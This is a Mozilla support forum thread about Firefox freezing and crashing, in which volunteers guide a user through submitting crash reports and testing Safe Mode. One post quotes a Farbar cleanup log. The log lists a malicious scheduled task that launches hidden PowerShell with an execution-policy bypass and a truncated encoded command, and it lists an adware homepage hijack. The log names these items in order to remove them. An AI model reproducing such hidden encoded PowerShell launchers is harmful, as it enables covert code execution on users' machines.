Search Support

Avoid support scams. We will never ask you to call or text a phone number or share personal information. Please report suspicious activity using the “Report Abuse” option.

Learn More

Firefox crashes

  • 24 replies
  • 1 has this problem
  • 96 views
  • Last reply by FredMcD

more options

Hello friends,

My Firefox constantly indicates that it is not responding and slows the rest of my laptop down, including when I switch to the Chrome browser.

Farbar reposts only the my DNS cach has been flushed with no other problems.

Can anyone suggest a solution?

Here is my latest Firefox crash report:

Unsubmitted Crash Reports

<removed crash reports that haven't been submitted - c >

Modified by cor-el

All Replies (20)

more options

hi, can you please scroll down on about:crashes and provide a couple of crash reports from the submitted section.

more options

Hello Philipp and than you for your prompt response.

I pasted three-quarters of my crash report, since the forum box limits the number of characters.

After some research, apparently what is required relates to any mention in the crash report that starts with the letters 'bp'.

In fact, at the end of my report is the following indication, which is the only one starting with 'bp':

bp-33749fd0-1269-4555-b6f3-567450180508 5/8/2018

I hope that this can help. Many thanks.

Also, I ran Farbar with no improvement to Firefox. Here is the Farbar report:

fixlist contenu:

CreateRestorePoint: CHR HomePage: Default -> hxxp://%66%65%65%64.%73%6E%61%70%64%6F.%63%6F%6D/?p=mKO_AwFzXIpYRYSttY34mamef947lyudgQs7NxmBif4UGCNo1iQIL6fqQJCVP46Kv5oRk3U6vzr-y2ZPAsW3cHdCoFl3L688wSNhgQ_s0hFaM_JWkV-Y-J6nrs50Nc6jpgQGPn2fm9evGCYxdExwGqdIcCBSI0VtvIaSUPWIQDGDwg,, Task: {3E19C380-1D94-4D93-876B-3F951029F80C} - System32\Tasks\{057A0E47-097E-0C04-0411-087F080A1104} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcA (the data entry has 9440 more characters). <==== ATTENTION CMD: ipconfig /flushdns Reboot:

Le Point de restauration a été créé avec succès. "Chrome HomePage" => non trouvé(e) "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3E19C380-1D94-4D93-876B-3F951029F80C}" => non trouvé(e) "C:\Windows\System32\Tasks\{057A0E47-097E-0C04-0411-087F080A1104}" => non trouvé(e) "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{057A0E47-097E-0C04-0411-087F080A1104}" => non trouvé(e)

=== ipconfig /flushdns ===

Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

=== Fin de CMD: ===

Le système a dû redémarrer.

Fin de Fixlog 15:46:38

more options

The crash report is several pages of data. We need the report numbers to see the whole report.

bp-33749fd0-1269-4555-b6f3-567450180508 Signature: IPCError-browser | ShutDownKill

Product Firefox Release Channel release Version 59.0.3 Build ID 20180427210249 OS; unknown OS Version; unknown

CrashTime; Mon, 07 May 2018 12:26:38 GMT

more options

That report is too old to be of use now.


Some of your crash reports weren’t sent to the Mozilla Servers.

In the address bar, type about:crashes<enter>. Note: If any reports do not have BP- in front of the numbers/letters, click it to submit them.

The crash report is several pages of data. We need the report numbers to see the whole report.

Using your mouse, mark the most recent 7 - 10 crash reports, and copy them. Now go to the reply box and paste them in.

aboutcrashesFx57

For more help on crash reports, see; https://support.mozilla.org/en-US/kb/firefox-crashes-asking-support

more options

Kind appreciations Fred for your response.

I will duly click on the all the reports that do not have a BP on them.

In the meantime, please find below the first seven crash reports:

6ac30734-729d-45e6-9f54-033b140d6134 11/19/2018 5:56 PM 35b0d63a-135c-43e6-b357-37e401d82cc8 11/18/2018 10:11 PM cf57d8e6-7211-43e5-94db-49353590f6fa 11/18/2018 10:10 PM 48202595-664a-423b-835f-0492b4aa760b 11/18/2018 10:07 PM 4cca5249-47d0-4937-b216-8170afcc74ca 11/15/2018 8:33 AM 1ba7b82b-a539-426d-a8fe-db78fb380a16 11/15/2018 8:33 AM 5d5dca7b-6331-4528-9a3b-2349c77ade08 11/15/2018 8:33 AM

more options

Hello Fred,

I just submitted the first 15 crash reports that corresponds approximately to the date when I uninstalled then re-installed Firefox in an attempt to have the navigator run faster.

Many thanks.

more options

FredMcD said

The crash report is several pages of data. We
need the report numbers to see the whole report.

Using your mouse, mark the most recent 7 - 10
crash reports, and copy them.
Now go to the reply box and paste them in.
more options

Hi Fred,

Thank you for your reply.

I have copy and pasted the first 10 reports here:

35b0d63a-135c-43e6-b357-37e401d82cc8 11/18/2018 10:11 PM 48202595-664a-423b-835f-0492b4aa760b 11/18/2018 10:07 PM 1ba7b82b-a539-426d-a8fe-db78fb380a16 11/15/2018 8:33 AM e6bad2e8-bf5a-4af0-b581-483246ee8c8d 11/15/2018 8:27 AM e18f36dd-75d1-419e-b149-fb5584d48c70 11/13/2018 11:46 AM d7343877-60f7-4728-b009-e38d631fbff3 11/12/2018 7:29 PM a08a45bf-607d-457b-8e4f-6170bcf1788c 11/12/2018 11:04 AM aa45052e-1507-4bf5-846b-cd8b59b46c25 10/30/2018 7:55 PM 4eb358bc-2a7d-414f-8ef7-b7f9c6602ba7 10/23/2018 7:36 PM aa864a8e-d75f-4716-ba20-11e9491820a7 10/19/2018 7:46 PM

more options

Those reports were NOT submitted. We need the latest submitted reports.

more options

Hello Fred and apologies if I did not follow your instructions to the letter.

Here are the first 9 crash reports that you kindly asked that I copy/paste in this reply box.

After doing so, I clicked on each one in order to submit it.

Please note that 9b44579f-6b69-486f-84fb-eb36e5e01bdf does not submit, perhaps because it ends with 'bdf'. :

9b44579f-6b69-486f-84fb-eb36e5e01bdf 11/21/2018 10:07 PM 35b0d63a-135c-43e6-b357-37e401d82cc8 11/18/2018 10:11 PM 48202595-664a-423b-835f-0492b4aa760b 11/18/2018 10:07 PM 1ba7b82b-a539-426d-a8fe-db78fb380a16 11/15/2018 8:33 AM e6bad2e8-bf5a-4af0-b581-483246ee8c8d 11/15/2018 8:27 AM e18f36dd-75d1-419e-b149-fb5584d48c70 11/13/2018 11:46 AM d7343877-60f7-4728-b009-e38d631fbff3 11/12/2018 7:29 PM a08a45bf-607d-457b-8e4f-6170bcf1788c 11/12/2018 11:04 AM aa45052e-1507-4bf5-846b-cd8b59b46c25 10/30/2018 7:55 PM 4eb358bc-2a7d-414f-8ef7-b7f9c6602ba7 10/23/2018 7:36 PM

more options

FredMcD said

Some of your crash reports weren’t sent to the
Mozilla Servers.

In the address bar, type about:crashes<enter>.

>>>Note: If any reports do not have BP- in front of
the numbers/letters, click it to submit them.
more options

Kind appreciations for your prompt reply Fred.

Here are the first 10 crash reports that I have duly clicked on and thus submitted.

None start with BP- but, as in my last post, 9b44579f-6b69-486f-84fb-eb36e5e01bdf does not submit for some unknown and 'esoteric' reason:

9b44579f-6b69-486f-84fb-eb36e5e01bdf 11/21/2018 10:07 PM aa864a8e-d75f-4716-ba20-11e9491820a7 10/19/2018 7:46 PM f14991a1-d89c-4db1-b2fc-f07b6a4887ae 10/13/2018 8:25 PM 1ee93ffe-d610-4cf6-a978-22ec1aaad8ab 10/11/2018 9:58 PM 78660fa1-276a-4007-8473-ffa6a039fcf8 10/10/2018 10:42 PM 0d104f76-7d84-453a-b86d-94365451ba6c 9/28/2018 11:14 PM dfed188e-f67e-45e3-aa92-e462b30ff8e6 9/28/2018 12:06 AM f90dbb60-37db-4451-80d3-ba6542343eaa 9/25/2018 8:27 PM 309429ec-8857-40dc-a91a-7b416db6fa1e 9/25/2018 8:27 PM cea97e9b-0857-4e44-b9b3-ce3586bcd834 9/25/2018 1:57 PM 24b61f8a-072a-4d95-adcc-c0809db49e42

more options

Hello again Fred,

I just received a message that you have found a solution, but as of yet I have not seen it posted.

Please read my last post for a response to your question.

The solution listed below was yours of earlier today:


Some of your crash reports weren’t sent to the Mozilla Servers.

In the address bar, type about:crashes<enter>.

>>>Note: If any reports do not have BP- in front of the numbers/letters, click it to submit them.


We just wanted to let you know that FredMcD has found a solution to a Firefox question that you're following.

The question: 'Firefox crashes' was marked as solved by its asker, fghardi.

Did this answer also help you? Did you find another post more helpful? Let other Firefox users know by voting next to the answer.

View the solution

Did you know that FredMcD is a Firefox user just like you? Get started helping other Firefox users by browsing questions -- you might just make someone's day!

more options

I did not set the 'solution' flag. Go to that message, and use the Undo link to its right.

fghardi said

Here are the first 10 crash reports that I have duly clicked on and thus submitted.

After a report is submitted, its number will change. We need the new, BP- numbers.

more options

If a line on the about:crashes page doesn't start with "bp-" then you can click the line to submit the report and the link will be updated and gets a "bp-" prefix if the report is submitted successfully.

  • please do not add the "bp-" prefix yourself
more options

Thank you cor-el for your specifications.

I followed closely your advice and clicked on 9 reports which were then successfully submitted.

I noticed that you are right; a bp number is assigned to each report that is correctly submitted.

This bp number then appears on the bottom of the crash-report page, but the initial number of the link before submission changes.

Below are the 9 reports that I submitted.

One of the links that terminates with bdf (the fourth link) cannot for some reason be submitted.

Further beneath the first group of links are the 9 successful submissions starting with bp.

Many thanks for your and Fred's help.

9cda7aba-6ff5-40d3-b270-756cc551c716 11/26/2018 4:52 PM 751b397c-c502-4203-a5db-683a4f5e82fe 11/26/2018 4:52 PM 4e73c6ba-3e24-43da-ba9c-f6987f936a75 11/26/2018 4:52 PM 9b44579f-6b69-486f-84fb-eb36e5e01bdf 11/21/2018 10:07 PM c88ac20b-d118-49d7-8e6d-0670eeab9436 9/24/2018 5:31 PM a4810e56-76a8-4ece-a09a-c73017a4761f 9/21/2018 11:59 PM 9a900be3-5b36-45ae-bece-4ee101a80bbf 9/21/2018 11:59 PM 9afa8945-b06a-47af-b903-6a794aee1ea9 9/21/2018 11:59 PM 750e38d1-a22c-424c-b4e5-c0e844a901e2 9/21/2018 11:56 PM 0ec3c72d-0475-43d3-b3ee-a0b833a0c7c5 9/21/2018 1:05 PM


bp-20cf49f7-9770-45be-9482-3defb0181126 11/26/2018 6:38 PM bp-4317ee26-e0ec-4f4f-9cec-1ea260181126 11/26/2018 6:37 PM bp-2bdc1fa1-049b-4fb0-9c2c-210790181126 11/26/2018 6:34 PM bp-a93ca49b-ef3b-4929-97e0-19bb10181126 11/26/2018 6:33 PM bp-1d1b75d1-6679-4f0b-905b-f86b40181126 11/26/2018 6:31 PM bp-b9662a6c-0607-417b-89ee-a26c80181126 11/26/2018 6:27 PM bp-c520680d-e840-4899-b4df-f34560181126 11/26/2018 6:26 PM bp-f109b485-2ee3-4b24-b4ab-3cdc00181126 11/26/2018 6:25 PM bp-c26da478-ea54-4479-99cb-d43800181126 11/26/2018 6:22 PM

more options

Product Firefox Release Channel release Version 62.0 Build ID 20180830143136 OS Unknown OS Version Unknown

bp-20cf49f7-9770-45be-9482-3defb0181126 Signature: IPCError-browser | ShutDownKill

CrashTime Fri, 21 Sep 2018 11:05:11 GMT +++++++++++++++++++++++++++++++++++++++ Product Firefox Release Channel release Version 62.0 Build ID 20180830143136 OS Windows 7 OS Version 6.1.7601 Service Pack 1

bp-4317ee26-e0ec-4f4f-9cec-1ea260181126 Signature: IPCError-browser | ShutDownKill

CrashTime Fri, 21 Sep 2018 21:56:20 GMT ++++++++++++++++++++++++++++++++++++++++ bp-2bdc1fa1-049b-4fb0-9c2c-210790181126 Signature: IPCError-browser | ShutDownKill

CrashTime Fri, 21 Sep 2018 21:59:44 GMT ++++++++++++++++++++++++++++++++++++++ bp-a93ca49b-ef3b-4929-97e0-19bb10181126 Signature: IPCError-browser | ShutDownKill

CrashTime Fri, 21 Sep 2018 21:59:48 GMT ++++++++++++++++++++++++++++++++++++++ bp-1d1b75d1-6679-4f0b-905b-f86b40181126 Signature: IPCError-browser | ShutDownKill

CrashTime Fri, 21 Sep 2018 21:59:54 GMT

more options

The above reports are too old to be of much use.

bp-c520680d-e840-4899-b4df-f34560181126 bp-f109b485-2ee3-4b24-b4ab-3cdc00181126 bp-c26da478-ea54-4479-99cb-d43800181126

Signature: IPCError-browser | ShutDownKill

CrashTime FMon, 26 Nov 2018 15:52:50 GMT

Crash Reason EXCEPTION_BREAKPOINT

Attention Sumo's there are over 60 related bug reports

more options

A post was flagged as Solved Problem. If the problem is not solved, please remove that flag. If you don’t, others that can help may not read this post.

Go to that message, and use the Undo link to its right.


A ShutDownKill normally means that something in Firefox is not closing properly.

Start Firefox in Safe Mode {web link} by holding down the <Shift> (Mac=Options) key, and then starting Firefox.

A small dialog should appear. Click Start In Safe Mode (not Refresh). Is the problem still there?


https://support.mozilla.org/kb/Firefox+is+already+running+but+is+not+responding

https://support.mozilla.org/en-US/kb/firefox-slow-how-make-it-faster

https://support.mozilla.org/en-US/kb/firefox-uses-too-many-cpu-resources-how-fix

https://support.mozilla.org/en-US/kb/firefox-uses-too-much-memory-ram

https://support.mozilla.org/en-US/kb/firefox-hangs-or-not-responding

more options

Much gratitude Fred.

I tried my Firefox in safe mode and the problem seems to have gone away.

I then ran about:crash and noticed no crashes for today, which indicates that the problem does not appear in safe mode.

What does this indicate?

Will it happen wwhen I run Firefox in regular mode?

Many thanks.

  1. 1
  2. 2